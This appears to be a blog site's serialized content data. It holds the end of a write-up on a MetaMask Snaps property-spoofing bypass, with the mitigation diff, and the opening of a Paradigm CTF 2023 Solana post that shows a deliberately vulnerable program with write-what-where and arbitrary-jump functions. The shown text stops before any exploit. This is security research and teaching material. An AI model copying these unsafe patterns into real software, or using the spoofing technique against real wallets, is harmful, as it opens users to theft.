",{"type":24,"tag":90,"props":41949,"children":41950},{"style":136},[41951],{"type":29,"value":41952},"origin",{"type":24,"tag":90,"props":41954,"children":41955},{"style":114},[41956],{"type":29,"value":133},{"type":24,"tag":90,"props":41958,"children":41959},{"style":136},[41960],{"type":29,"value":33306},{"type":24,"tag":90,"props":41962,"children":41963},{"style":114},[41964],{"type":29,"value":41965}," }) ",{"type":24,"tag":90,"props":41967,"children":41968},{"style":97},[41969],{"type":29,"value":1315},{"type":24,"tag":90,"props":41971,"children":41972},{"style":114},[41973],{"type":29,"value":269},{"type":24,"tag":90,"props":41975,"children":41976},{"class":92,"line":25466},[41977],{"type":24,"tag":90,"props":41978,"children":41979},{"emptyLinePlaceholder":16},[41980],{"type":29,"value":245},{"type":24,"tag":90,"props":41982,"children":41983},{"class":92,"line":25542},[41984,41989,41993,41997,42001,42005],{"type":24,"tag":90,"props":41985,"children":41986},{"style":636},[41987],{"type":29,"value":41988}," switch",{"type":24,"tag":90,"props":41990,"children":41991},{"style":114},[41992],{"type":29,"value":1151},{"type":24,"tag":90,"props":41994,"children":41995},{"style":136},[41996],{"type":29,"value":33306},{"type":24,"tag":90,"props":41998,"children":41999},{"style":114},[42000],{"type":29,"value":226},{"type":24,"tag":90,"props":42002,"children":42003},{"style":136},[42004],{"type":29,"value":40129},{"type":24,"tag":90,"props":42006,"children":42007},{"style":114},[42008],{"type":29,"value":1297},{"type":24,"tag":90,"props":42010,"children":42011},{"class":92,"line":25575},[42012,42017,42022],{"type":24,"tag":90,"props":42013,"children":42014},{"style":636},[42015],{"type":29,"value":42016}," case",{"type":24,"tag":90,"props":42018,"children":42019},{"style":1085},[42020],{"type":29,"value":42021}," 'json'",{"type":24,"tag":90,"props":42023,"children":42024},{"style":114},[42025],{"type":29,"value":7954},{"type":24,"tag":90,"props":42027,"children":42028},{"class":92,"line":25583},[42029,42033,42037],{"type":24,"tag":90,"props":42030,"children":42031},{"style":636},[42032],{"type":29,"value":41173},{"type":24,"tag":90,"props":42034,"children":42035},{"style":108},[42036],{"type":29,"value":41416},{"type":24,"tag":90,"props":42038,"children":42039},{"style":114},[42040],{"type":29,"value":236},{"type":24,"tag":90,"props":42042,"children":42043},{"class":92,"line":25591},[42044,42048,42053],{"type":24,"tag":90,"props":42045,"children":42046},{"style":636},[42047],{"type":29,"value":42016},{"type":24,"tag":90,"props":42049,"children":42050},{"style":1085},[42051],{"type":29,"value":42052}," 'transaction'",{"type":24,"tag":90,"props":42054,"children":42055},{"style":114},[42056],{"type":29,"value":7954},{"type":24,"tag":90,"props":42058,"children":42059},{"class":92,"line":25628},[42060,42064,42068],{"type":24,"tag":90,"props":42061,"children":42062},{"style":636},[42063],{"type":29,"value":41173},{"type":24,"tag":90,"props":42065,"children":42066},{"style":108},[42067],{"type":29,"value":41648},{"type":24,"tag":90,"props":42069,"children":42070},{"style":114},[42071],{"type":29,"value":236},{"type":24,"tag":90,"props":42073,"children":42074},{"class":92,"line":25641},[42075,42080],{"type":24,"tag":90,"props":42076,"children":42077},{"style":636},[42078],{"type":29,"value":42079}," default",{"type":24,"tag":90,"props":42081,"children":42082},{"style":114},[42083],{"type":29,"value":7954},{"type":24,"tag":90,"props":42085,"children":42086},{"class":92,"line":25654},[42087,42092,42096,42101,42105,42110],{"type":24,"tag":90,"props":42088,"children":42089},{"style":636},[42090],{"type":29,"value":42091}," throw",{"type":24,"tag":90,"props":42093,"children":42094},{"style":97},[42095],{"type":29,"value":33746},{"type":24,"tag":90,"props":42097,"children":42098},{"style":108},[42099],{"type":29,"value":42100}," Error",{"type":24,"tag":90,"props":42102,"children":42103},{"style":114},[42104],{"type":29,"value":117},{"type":24,"tag":90,"props":42106,"children":42107},{"style":1085},[42108],{"type":29,"value":42109},"'Method not found.'",{"type":24,"tag":90,"props":42111,"children":42112},{"style":114},[42113],{"type":29,"value":571},{"type":24,"tag":90,"props":42115,"children":42116},{"class":92,"line":25667},[42117],{"type":24,"tag":90,"props":42118,"children":42119},{"style":114},[42120],{"type":29,"value":8257},{"type":24,"tag":90,"props":42122,"children":42123},{"class":92,"line":25721},[42124],{"type":24,"tag":90,"props":42125,"children":42126},{"style":114},[42127],{"type":29,"value":3093},{"type":24,"tag":25,"props":42129,"children":42130},{},[42131,42133,42139,42141,42146],{"type":29,"value":42132},"We set ",{"type":24,"tag":32,"props":42134,"children":42136},{"className":42135},[],[42137],{"type":29,"value":42138},"x.method = \"snap_dialog\"",{"type":29,"value":42140}," to pass the assertion and setup a toJSON function to change this method to ",{"type":24,"tag":32,"props":42142,"children":42144},{"className":42143},[],[42145],{"type":29,"value":41348},{"type":29,"value":42147}," after.",{"type":24,"tag":1019,"props":42149,"children":42151},{"id":42150},"mitigation",[42152],{"type":29,"value":42153},"Mitigation",{"type":24,"tag":25,"props":42155,"children":42156},{},[42157,42159,42164,42166,42173],{"type":29,"value":42158},"Metamask mitigated this issue by asserting the arguments after the ",{"type":24,"tag":32,"props":42160,"children":42162},{"className":42161},[],[42163],{"type":29,"value":40892},{"type":29,"value":42165}," function execution. The patch was introduced on commit ",{"type":24,"tag":69,"props":42167,"children":42170},{"href":42168,"rel":42169},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[73],[42171],{"type":29,"value":42172},"168ff08",{"type":29,"value":42174}," with the following changes:",{"type":24,"tag":80,"props":42176,"children":42180},{"className":42177,"code":42178,"language":42179,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[42181],{"type":24,"tag":32,"props":42182,"children":42183},{"__ignoreMap":7},[42184,42192,42200,42208,42216],{"type":24,"tag":90,"props":42185,"children":42186},{"class":92,"line":93},[42187],{"type":24,"tag":90,"props":42188,"children":42189},{"style":114},[42190],{"type":29,"value":42191},"const request = async (args: RequestArguments) => {\n",{"type":24,"tag":90,"props":42193,"children":42194},{"class":92,"line":200},[42195],{"type":24,"tag":90,"props":42196,"children":42197},{"style":1085},[42198],{"type":29,"value":42199},"- assertEthereumOutboundRequest(args);\n",{"type":24,"tag":90,"props":42201,"children":42202},{"class":92,"line":239},[42203],{"type":24,"tag":90,"props":42204,"children":42205},{"style":1085},[42206],{"type":29,"value":42207},"- const sanitizedArgs = getSafeJson(args);\n",{"type":24,"tag":90,"props":42209,"children":42210},{"class":92,"line":248},[42211],{"type":24,"tag":90,"props":42212,"children":42213},{"style":349},[42214],{"type":29,"value":42215},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":24,"tag":90,"props":42217,"children":42218},{"class":92,"line":258},[42219],{"type":24,"tag":90,"props":42220,"children":42221},{"style":349},[42222],{"type":29,"value":42223},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":24,"tag":850,"props":42225,"children":42226},{"id":30743},[42227],{"type":29,"value":20741},{"type":24,"tag":25,"props":42229,"children":42230},{},[42231],{"type":29,"value":42232},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":24,"tag":25,"props":42234,"children":42235},{},[42236],{"type":29,"value":42237},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":24,"tag":5249,"props":42239,"children":42240},{},[42241],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":42243},[42244,42245,42252,42260],{"id":20750,"depth":200,"text":20753},{"id":37268,"depth":200,"text":37271,"children":42246},[42247,42248,42249,42250,42251],{"id":37279,"depth":239,"text":37282},{"id":37347,"depth":239,"text":37350},{"id":37383,"depth":239,"text":37386},{"id":38779,"depth":239,"text":38782},{"id":39137,"depth":239,"text":39140},{"id":39924,"depth":200,"text":39927,"children":42253},[42254,42255,42256,42257,42258,42259],{"id":39930,"depth":239,"text":39933},{"id":39974,"depth":239,"text":39977},{"id":40878,"depth":239,"text":40881},{"id":8048,"depth":239,"text":8051},{"id":41321,"depth":239,"text":36644},{"id":42150,"depth":239,"text":42153},{"id":30743,"depth":200,"text":20741},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":42265,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":42266,"description":42267,"author":42268,"image":42270,"date":42272,"isFeatured":16,"onBlogPage":16,"body":42273,"_type":5270,"_id":47693,"_source":5272,"_file":47694,"_stem":47695,"_extension":5275},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[42269,8106],"nicola",{"src":42271},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":21,"children":42274,"toc":47682},[42275,42289,42309,42314,42318,42331,42356,42362,42367,42382,42736,42751,43016,43032,43675,43681,43686,43699,43707,43919,43927,44230,44238,44381,44389,44914,44920,44932,44945,44959,44964,45732,45737,45745,45750,45756,45768,45833,45838,45851,45864,45870,45898,47049,47062,47104,47109,47114,47128,47268,47289,47310,47317,47368,47376,47387,47400,47405,47529,47542,47644,47648,47661,47666,47678],{"type":24,"tag":25,"props":42276,"children":42277},{},[42278,42280,42287],{"type":29,"value":42279},"In the world of CTFs, ",{"type":24,"tag":69,"props":42281,"children":42284},{"href":42282,"rel":42283},"https://twitter.com/paradigm_ctf",[73],[42285],{"type":29,"value":42286},"Paradigm CTF 2023",{"type":29,"value":42288}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":24,"tag":25,"props":42290,"children":42291},{},[42292,42294,42301,42302],{"type":29,"value":42293},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":24,"tag":69,"props":42295,"children":42298},{"href":42296,"rel":42297},"https://osec.io/blog/2022-03-14-solana-security-intro",[73],[42299],{"type":29,"value":42300},"Solana: An Auditor's Introduction",{"type":29,"value":13360},{"type":24,"tag":69,"props":42303,"children":42306},{"href":42304,"rel":42305},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[73],[42307],{"type":29,"value":42308},"Reverse Engineering Solana with Binary Ninja.\n",{"type":24,"tag":25,"props":42310,"children":42311},{},[42312],{"type":29,"value":42313},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":24,"tag":850,"props":42315,"children":42316},{"id":20750},[42317],{"type":29,"value":20753},{"type":24,"tag":25,"props":42319,"children":42320},{},[42321,42323,42329],{"type":29,"value":42322},"The challenge itself resides into ",{"type":24,"tag":32,"props":42324,"children":42326},{"className":42325},[],[42327],{"type":29,"value":42328},"framework/",{"type":29,"value":42330},", and is composed of 2 parts:",{"type":24,"tag":3207,"props":42332,"children":42333},{},[42334,42345],{"type":24,"tag":3104,"props":42335,"children":42336},{},[42337,42343],{"type":24,"tag":32,"props":42338,"children":42340},{"className":42339},[],[42341],{"type":29,"value":42342},"framework/chall/lib.rs",{"type":29,"value":42344},": The on-chain eBPF program that needs to be exploited.",{"type":24,"tag":3104,"props":42346,"children":42347},{},[42348,42354],{"type":24,"tag":32,"props":42349,"children":42351},{"className":42350},[],[42352],{"type":29,"value":42353},"framework/src/main.rs",{"type":29,"value":42355},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":24,"tag":1019,"props":42357,"children":42359},{"id":42358},"vulnerable-program",[42360],{"type":29,"value":42361},"Vulnerable Program",{"type":24,"tag":25,"props":42363,"children":42364},{},[42365],{"type":29,"value":42366},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":24,"tag":3100,"props":42368,"children":42369},{},[42370],{"type":24,"tag":3104,"props":42371,"children":42372},{},[42373,42374,42380],{"type":29,"value":9861},{"type":24,"tag":32,"props":42375,"children":42377},{"className":42376},[],[42378],{"type":29,"value":42379},"data[0] == 0",{"type":29,"value":42381}," a function that lets you write-what-where is executed",{"type":24,"tag":80,"props":42383,"children":42385},{"className":82,"code":42384,"language":84,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[42386],{"type":24,"tag":32,"props":42387,"children":42388},{"__ignoreMap":7},[42389,42397,42442,42453,42576,42693,42722,42729],{"type":24,"tag":90,"props":42390,"children":42391},{"class":92,"line":93},[42392],{"type":24,"tag":90,"props":42393,"children":42394},{"style":114},[42395],{"type":29,"value":42396},"#[inline(never)]\n",{"type":24,"tag":90,"props":42398,"children":42399},{"class":92,"line":200},[42400,42404,42408,42413,42417,42421,42425,42429,42433,42437],{"type":24,"tag":90,"props":42401,"children":42402},{"style":97},[42403],{"type":29,"value":100},{"type":24,"tag":90,"props":42405,"children":42406},{"style":97},[42407],{"type":29,"value":105},{"type":24,"tag":90,"props":42409,"children":42410},{"style":108},[42411],{"type":29,"value":42412}," write",{"type":24,"tag":90,"props":42414,"children":42415},{"style":114},[42416],{"type":29,"value":117},{"type":24,"tag":90,"props":42418,"children":42419},{"style":136},[42420],{"type":29,"value":481},{"type":24,"tag":90,"props":42422,"children":42423},{"style":120},[42424],{"type":29,"value":78},{"type":24,"tag":90,"props":42426,"children":42427},{"style":120},[42428],{"type":29,"value":455},{"type":24,"tag":90,"props":42430,"children":42431},{"style":114},[42432],{"type":29,"value":719},{"type":24,"tag":90,"props":42434,"children":42435},{"style":146},[42436],{"type":29,"value":1409},{"type":24,"tag":90,"props":42438,"children":42439},{"style":114},[42440],{"type":29,"value":42441},"]) {\n",{"type":24,"tag":90,"props":42443,"children":42444},{"class":92,"line":239},[42445,42449],{"type":24,"tag":90,"props":42446,"children":42447},{"style":97},[42448],{"type":29,"value":264},{"type":24,"tag":90,"props":42450,"children":42451},{"style":114},[42452],{"type":29,"value":269},{"type":24,"tag":90,"props":42454,"children":42455},{"class":92,"line":248},[42456,42460,42464,42468,42473,42477,42482,42486,42491,42495,42500,42504,42508,42512,42516,42520,42524,42528,42532,42536,42540,42544,42548,42552,42556,42560,42564,42568,42572],{"type":24,"tag":90,"props":42457,"children":42458},{"style":97},[42459],{"type":29,"value":287},{"type":24,"tag":90,"props":42461,"children":42462},{"style":136},[42463],{"type":29,"value":292},{"type":24,"tag":90,"props":42465,"children":42466},{"style":120},[42467],{"type":29,"value":216},{"type":24,"tag":90,"props":42469,"children":42470},{"style":114},[42471],{"type":29,"value":42472}," std",{"type":24,"tag":90,"props":42474,"children":42475},{"style":120},[42476],{"type":29,"value":1211},{"type":24,"tag":90,"props":42478,"children":42479},{"style":114},[42480],{"type":29,"value":42481},"mem",{"type":24,"tag":90,"props":42483,"children":42484},{"style":120},[42485],{"type":29,"value":1211},{"type":24,"tag":90,"props":42487,"children":42488},{"style":108},[42489],{"type":29,"value":42490},"transmute",{"type":24,"tag":90,"props":42492,"children":42493},{"style":120},[42494],{"type":29,"value":1211},{"type":24,"tag":90,"props":42496,"children":42497},{"style":114},[42498],{"type":29,"value":42499},"\u003C[",{"type":24,"tag":90,"props":42501,"children":42502},{"style":146},[42503],{"type":29,"value":1409},{"type":24,"tag":90,"props":42505,"children":42506},{"style":114},[42507],{"type":29,"value":3748},{"type":24,"tag":90,"props":42509,"children":42510},{"style":349},[42511],{"type":29,"value":352},{"type":24,"tag":90,"props":42513,"children":42514},{"style":114},[42515],{"type":29,"value":24857},{"type":24,"tag":90,"props":42517,"children":42518},{"style":120},[42519],{"type":29,"value":983},{"type":24,"tag":90,"props":42521,"children":42522},{"style":97},[42523],{"type":29,"value":371},{"type":24,"tag":90,"props":42525,"children":42526},{"style":146},[42527],{"type":29,"value":376},{"type":24,"tag":90,"props":42529,"children":42530},{"style":114},[42531],{"type":29,"value":9992},{"type":24,"tag":90,"props":42533,"children":42534},{"style":136},[42535],{"type":29,"value":481},{"type":24,"tag":90,"props":42537,"children":42538},{"style":114},[42539],{"type":29,"value":719},{"type":24,"tag":90,"props":42541,"children":42542},{"style":120},[42543],{"type":29,"value":729},{"type":24,"tag":90,"props":42545,"children":42546},{"style":349},[42547],{"type":29,"value":352},{"type":24,"tag":90,"props":42549,"children":42550},{"style":114},[42551],{"type":29,"value":1914},{"type":24,"tag":90,"props":42553,"children":42554},{"style":120},[42555],{"type":29,"value":226},{"type":24,"tag":90,"props":42557,"children":42558},{"style":108},[42559],{"type":29,"value":27971},{"type":24,"tag":90,"props":42561,"children":42562},{"style":114},[42563],{"type":29,"value":314},{"type":24,"tag":90,"props":42565,"children":42566},{"style":120},[42567],{"type":29,"value":226},{"type":24,"tag":90,"props":42569,"children":42570},{"style":108},[42571],{"type":29,"value":6053},{"type":24,"tag":90,"props":42573,"children":42574},{"style":114},[42575],{"type":29,"value":1928},{"type":24,"tag":90,"props":42577,"children":42578},{"class":92,"line":258},[42579,42583,42588,42592,42596,42600,42604,42608,42612,42616,42620,42624,42628,42632,42636,42640,42644,42648,42652,42656,42660,42665,42669,42673,42677,42681,42685,42689],{"type":24,"tag":90,"props":42580,"children":42581},{"style":97},[42582],{"type":29,"value":287},{"type":24,"tag":90,"props":42584,"children":42585},{"style":136},[42586],{"type":29,"value":42587}," val",{"type":24,"tag":90,"props":42589,"children":42590},{"style":120},[42591],{"type":29,"value":216},{"type":24,"tag":90,"props":42593,"children":42594},{"style":114},[42595],{"type":29,"value":42472},{"type":24,"tag":90,"props":42597,"children":42598},{"style":120},[42599],{"type":29,"value":1211},{"type":24,"tag":90,"props":42601,"children":42602},{"style":114},[42603],{"type":29,"value":42481},{"type":24,"tag":90,"props":42605,"children":42606},{"style":120},[42607],{"type":29,"value":1211},{"type":24,"tag":90,"props":42609,"children":42610},{"style":108},[42611],{"type":29,"value":42490},{"type":24,"tag":90,"props":42613,"children":42614},{"style":120},[42615],{"type":29,"value":1211},{"type":24,"tag":90,"props":42617,"children":42618},{"style":114},[42619],{"type":29,"value":42499},{"type":24,"tag":90,"props":42621,"children":42622},{"style":146},[42623],{"type":29,"value":1409},{"type":24,"tag":90,"props":42625,"children":42626},{"style":114},[42627],{"type":29,"value":3748},{"type":24,"tag":90,"props":42629,"children":42630},{"style":349},[42631],{"type":29,"value":352},{"type":24,"tag":90,"props":42633,"children":42634},{"style":114},[42635],{"type":29,"value":24857},{"type":24,"tag":90,"props":42637,"children":42638},{"style":146},[42639],{"type":29,"value":1580},{"type":24,"tag":90,"props":42641,"children":42642},{"style":114},[42643],{"type":29,"value":9992},{"type":24,"tag":90,"props":42645,"children":42646},{"style":136},[42647],{"type":29,"value":481},{"type":24,"tag":90,"props":42649,"children":42650},{"style":114},[42651],{"type":29,"value":719},{"type":24,"tag":90,"props":42653,"children":42654},{"style":349},[42655],{"type":29,"value":352},{"type":24,"tag":90,"props":42657,"children":42658},{"style":120},[42659],{"type":29,"value":729},{"type":24,"tag":90,"props":42661,"children":42662},{"style":349},[42663],{"type":29,"value":42664},"16",{"type":24,"tag":90,"props":42666,"children":42667},{"style":114},[42668],{"type":29,"value":1914},{"type":24,"tag":90,"props":42670,"children":42671},{"style":120},[42672],{"type":29,"value":226},{"type":24,"tag":90,"props":42674,"children":42675},{"style":108},[42676],{"type":29,"value":27971},{"type":24,"tag":90,"props":42678,"children":42679},{"style":114},[42680],{"type":29,"value":314},{"type":24,"tag":90,"props":42682,"children":42683},{"style":120},[42684],{"type":29,"value":226},{"type":24,"tag":90,"props":42686,"children":42687},{"style":108},[42688],{"type":29,"value":6053},{"type":24,"tag":90,"props":42690,"children":42691},{"style":114},[42692],{"type":29,"value":1928},{"type":24,"tag":90,"props":42694,"children":42695},{"class":92,"line":272},[42696,42701,42705,42710,42714,42718],{"type":24,"tag":90,"props":42697,"children":42698},{"style":136},[42699],{"type":29,"value":42700}," ptr",{"type":24,"tag":90,"props":42702,"children":42703},{"style":120},[42704],{"type":29,"value":226},{"type":24,"tag":90,"props":42706,"children":42707},{"style":108},[42708],{"type":29,"value":42709},"write_volatile",{"type":24,"tag":90,"props":42711,"children":42712},{"style":114},[42713],{"type":29,"value":117},{"type":24,"tag":90,"props":42715,"children":42716},{"style":136},[42717],{"type":29,"value":14998},{"type":24,"tag":90,"props":42719,"children":42720},{"style":114},[42721],{"type":29,"value":571},{"type":24,"tag":90,"props":42723,"children":42724},{"class":92,"line":281},[42725],{"type":24,"tag":90,"props":42726,"children":42727},{"style":114},[42728],{"type":29,"value":612},{"type":24,"tag":90,"props":42730,"children":42731},{"class":92,"line":384},[42732],{"type":24,"tag":90,"props":42733,"children":42734},{"style":114},[42735],{"type":29,"value":827},{"type":24,"tag":3100,"props":42737,"children":42738},{"start":200},[42739],{"type":24,"tag":3104,"props":42740,"children":42741},{},[42742,42743,42749],{"type":29,"value":9861},{"type":24,"tag":32,"props":42744,"children":42746},{"className":42745},[],[42747],{"type":29,"value":42748},"data[0] == 1",{"type":29,"value":42750},", a CPI to a non-existent program is executed:",{"type":24,"tag":80,"props":42752,"children":42754},{"className":82,"code":42753,"language":84,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[42755],{"type":24,"tag":32,"props":42756,"children":42757},{"__ignoreMap":7},[42758,42765,42809,42834,42864,42904,42925,42932,42939,42951,42967,42979,42990,43009],{"type":24,"tag":90,"props":42759,"children":42760},{"class":92,"line":93},[42761],{"type":24,"tag":90,"props":42762,"children":42763},{"style":114},[42764],{"type":29,"value":42396},{"type":24,"tag":90,"props":42766,"children":42767},{"class":92,"line":200},[42768,42772,42776,42781,42785,42789,42793,42797,42801,42805],{"type":24,"tag":90,"props":42769,"children":42770},{"style":97},[42771],{"type":29,"value":100},{"type":24,"tag":90,"props":42773,"children":42774},{"style":97},[42775],{"type":29,"value":105},{"type":24,"tag":90,"props":42777,"children":42778},{"style":108},[42779],{"type":29,"value":42780}," call",{"type":24,"tag":90,"props":42782,"children":42783},{"style":114},[42784],{"type":29,"value":117},{"type":24,"tag":90,"props":42786,"children":42787},{"style":136},[42788],{"type":29,"value":481},{"type":24,"tag":90,"props":42790,"children":42791},{"style":120},[42792],{"type":29,"value":78},{"type":24,"tag":90,"props":42794,"children":42795},{"style":120},[42796],{"type":29,"value":455},{"type":24,"tag":90,"props":42798,"children":42799},{"style":114},[42800],{"type":29,"value":719},{"type":24,"tag":90,"props":42802,"children":42803},{"style":146},[42804],{"type":29,"value":1409},{"type":24,"tag":90,"props":42806,"children":42807},{"style":114},[42808],{"type":29,"value":42441},{"type":24,"tag":90,"props":42810,"children":42811},{"class":92,"line":239},[42812,42816,42821,42825,42830],{"type":24,"tag":90,"props":42813,"children":42814},{"style":97},[42815],{"type":29,"value":206},{"type":24,"tag":90,"props":42817,"children":42818},{"style":136},[42819],{"type":29,"value":42820}," ix",{"type":24,"tag":90,"props":42822,"children":42823},{"style":120},[42824],{"type":29,"value":216},{"type":24,"tag":90,"props":42826,"children":42827},{"style":146},[42828],{"type":29,"value":42829}," Instruction",{"type":24,"tag":90,"props":42831,"children":42832},{"style":114},[42833],{"type":29,"value":269},{"type":24,"tag":90,"props":42835,"children":42836},{"class":92,"line":248},[42837,42842,42846,42851,42855,42860],{"type":24,"tag":90,"props":42838,"children":42839},{"style":136},[42840],{"type":29,"value":42841}," program_id",{"type":24,"tag":90,"props":42843,"children":42844},{"style":120},[42845],{"type":29,"value":78},{"type":24,"tag":90,"props":42847,"children":42848},{"style":108},[42849],{"type":29,"value":42850}," pubkey!",{"type":24,"tag":90,"props":42852,"children":42853},{"style":114},[42854],{"type":29,"value":117},{"type":24,"tag":90,"props":42856,"children":42857},{"style":1085},[42858],{"type":29,"value":42859},"\"osecio5555555555555551111111111111111111111\"",{"type":24,"tag":90,"props":42861,"children":42862},{"style":114},[42863],{"type":29,"value":779},{"type":24,"tag":90,"props":42865,"children":42866},{"class":92,"line":258},[42867,42872,42876,42880,42884,42888,42892,42896,42900],{"type":24,"tag":90,"props":42868,"children":42869},{"style":136},[42870],{"type":29,"value":42871}," data",{"type":24,"tag":90,"props":42873,"children":42874},{"style":120},[42875],{"type":29,"value":78},{"type":24,"tag":90,"props":42877,"children":42878},{"style":136},[42879],{"type":29,"value":1604},{"type":24,"tag":90,"props":42881,"children":42882},{"style":120},[42883],{"type":29,"value":226},{"type":24,"tag":90,"props":42885,"children":42886},{"style":108},[42887],{"type":29,"value":27971},{"type":24,"tag":90,"props":42889,"children":42890},{"style":114},[42891],{"type":29,"value":314},{"type":24,"tag":90,"props":42893,"children":42894},{"style":120},[42895],{"type":29,"value":226},{"type":24,"tag":90,"props":42897,"children":42898},{"style":108},[42899],{"type":29,"value":6053},{"type":24,"tag":90,"props":42901,"children":42902},{"style":114},[42903],{"type":29,"value":1384},{"type":24,"tag":90,"props":42905,"children":42906},{"class":92,"line":272},[42907,42912,42916,42920],{"type":24,"tag":90,"props":42908,"children":42909},{"style":136},[42910],{"type":29,"value":42911}," accounts",{"type":24,"tag":90,"props":42913,"children":42914},{"style":120},[42915],{"type":29,"value":78},{"type":24,"tag":90,"props":42917,"children":42918},{"style":108},[42919],{"type":29,"value":6114},{"type":24,"tag":90,"props":42921,"children":42922},{"style":114},[42923],{"type":29,"value":42924},"[]\n",{"type":24,"tag":90,"props":42926,"children":42927},{"class":92,"line":281},[42928],{"type":24,"tag":90,"props":42929,"children":42930},{"style":114},[42931],{"type":29,"value":40813},{"type":24,"tag":90,"props":42933,"children":42934},{"class":92,"line":384},[42935],{"type":24,"tag":90,"props":42936,"children":42937},{"emptyLinePlaceholder":16},[42938],{"type":29,"value":245},{"type":24,"tag":90,"props":42940,"children":42941},{"class":92,"line":420},[42942,42947],{"type":24,"tag":90,"props":42943,"children":42944},{"style":108},[42945],{"type":29,"value":42946}," invoke_signed_unchecked",{"type":24,"tag":90,"props":42948,"children":42949},{"style":114},[42950],{"type":29,"value":680},{"type":24,"tag":90,"props":42952,"children":42953},{"class":92,"line":428},[42954,42958,42963],{"type":24,"tag":90,"props":42955,"children":42956},{"style":120},[42957],{"type":29,"value":5861},{"type":24,"tag":90,"props":42959,"children":42960},{"style":136},[42961],{"type":29,"value":42962},"ix",{"type":24,"tag":90,"props":42964,"children":42965},{"style":114},[42966],{"type":29,"value":748},{"type":24,"tag":90,"props":42968,"children":42969},{"class":92,"line":437},[42970,42974],{"type":24,"tag":90,"props":42971,"children":42972},{"style":120},[42973],{"type":29,"value":5861},{"type":24,"tag":90,"props":42975,"children":42976},{"style":114},[42977],{"type":29,"value":42978},"[],\n",{"type":24,"tag":90,"props":42980,"children":42981},{"class":92,"line":574},[42982,42986],{"type":24,"tag":90,"props":42983,"children":42984},{"style":120},[42985],{"type":29,"value":5861},{"type":24,"tag":90,"props":42987,"children":42988},{"style":114},[42989],{"type":29,"value":42978},{"type":24,"tag":90,"props":42991,"children":42992},{"class":92,"line":606},[42993,42997,43001,43005],{"type":24,"tag":90,"props":42994,"children":42995},{"style":114},[42996],{"type":29,"value":6044},{"type":24,"tag":90,"props":42998,"children":42999},{"style":120},[43000],{"type":29,"value":226},{"type":24,"tag":90,"props":43002,"children":43003},{"style":108},[43004],{"type":29,"value":6053},{"type":24,"tag":90,"props":43006,"children":43007},{"style":114},[43008],{"type":29,"value":236},{"type":24,"tag":90,"props":43010,"children":43011},{"class":92,"line":615},[43012],{"type":24,"tag":90,"props":43013,"children":43014},{"style":114},[43015],{"type":29,"value":827},{"type":24,"tag":3100,"props":43017,"children":43018},{"start":239},[43019],{"type":24,"tag":3104,"props":43020,"children":43021},{},[43022,43024,43030],{"type":29,"value":43023},"Finally, if ",{"type":24,"tag":32,"props":43025,"children":43027},{"className":43026},[],[43028],{"type":29,"value":43029},"data[0]",{"type":29,"value":43031}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":24,"tag":80,"props":43033,"children":43035},{"className":82,"code":43034,"language":84,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n 